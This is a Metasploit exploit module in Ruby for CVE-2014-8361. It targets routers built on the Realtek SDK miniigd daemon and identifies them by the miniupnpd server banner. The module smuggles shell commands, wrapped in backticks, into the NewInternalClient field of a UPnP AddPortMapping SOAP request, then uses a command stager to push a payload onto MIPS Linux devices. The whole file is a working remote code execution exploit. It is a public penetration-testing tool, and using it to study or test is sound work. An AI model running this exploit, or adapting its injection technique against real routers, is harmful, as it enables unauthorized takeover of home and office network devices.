##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include REXML

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Realtek SDK Miniigd UPnP SOAP Command Execution',
      'Description' => %q{
        Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command
        injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability,
        there is no output for the executed command. This module has been tested successfully on a
        Trendnet TEW-731BR router with emulation.
      },
      'Author'      =>
        [
          'Ricky "HeadlessZeke" Lawshae', # Vulnerability discovery
          'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2014-8361'],
          ['ZDI', '15-155'],
          ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Software-Development-KITchen-sink/ba-p/6745115#.VWVfsM_tmko'],
          ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10055']
        ],
      'DisclosureDate' => '2015-04-24',
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets' =>
        [
          [ 'MIPS Little Endian',
            {
              'Platform' => 'linux',
              'Arch'     => ARCH_MIPSLE
            }
          ],
          [ 'MIPS Big Endian',
            {
              'Platform' => 'linux',
              'Arch'     => ARCH_MIPSBE
            }
          ]
        ],
      'DefaultTarget'    => 0
      ))

      deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')

    register_options(
      [
        Opt::RPORT(52869) # port of UPnP SOAP webinterface
      ])
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => '/picsdesc.xml'
      })
      if res && [200, 301, 302].include?(res.code) && res.headers['Server'] =~ /miniupnpd\/1.0 UPnP\/1.0/
        return Exploit::CheckCode::Detected
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Unknown
  end

  def exploit
    print_status("Trying to access the device ...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
    end

    print_status("Exploiting...")

    execute_cmdstager(
      :flavor  => :echo,
      :linemax => 50,
      :nodelete => true
    )
  end

  def execute_command(cmd, opts)
    uri = '/wanipcn.xml'
    soap_action = 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'
    data_cmd = '<?xml version="1.0"?>' + build_soap_req

    begin
      res = send_request_cgi({
        'uri'    => uri,
        'vars_get' => {
          'service' => 'WANIPConn1'
        },
        'ctype' => 'text/xml',
        'method' => 'POST',
        'headers' => {
          'SOAPAction' => soap_action
          },
        'data' => data_cmd.gsub(/CMD_HERE/, "`#{cmd.gsub(/\\/, '\\\\\\\\\\')}`")
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end

  def build_soap_req
    new_external_port = rand(32767) + 32768
    new_internal_port = rand(32767) + 32768

    xml = Document.new

    xml.add_element(
      'SOAP-ENV:Envelope',
      {
        'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
        'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/'
      })

    xml.root.add_element('SOAP-ENV:Body')

    body = xml.root.elements[1]

    body.add_element(
      'm:AddPortMapping',
      {
        'xmlns:m' => 'urn:schemas-upnp-org:service:WANIPConnection:1'
      })

    port_mapping = body.elements[1]
    port_mapping.add_element('NewLeaseDuration')
    port_mapping.add_element('NewInternalClient')
    port_mapping.add_element('NewEnabled')
    port_mapping.add_element('NewExternalPort')
    port_mapping.add_element('NewRemoteHost')
    port_mapping.add_element('NewProtocol')
    port_mapping.add_element('NewInternalPort')

    port_mapping.elements['NewLeaseDuration'].text  = ''
    port_mapping.elements['NewInternalClient'].text = 'CMD_HERE'
    port_mapping.elements['NewEnabled'].text        = '1'
    port_mapping.elements['NewExternalPort'].text   = "#{new_external_port}"
    port_mapping.elements['NewRemoteHost'].text     = ''
    port_mapping.elements['NewProtocol'].text       = 'TCP'
    port_mapping.elements['NewInternalPort'].text   = "#{new_internal_port}"

    xml.to_s
  end
end
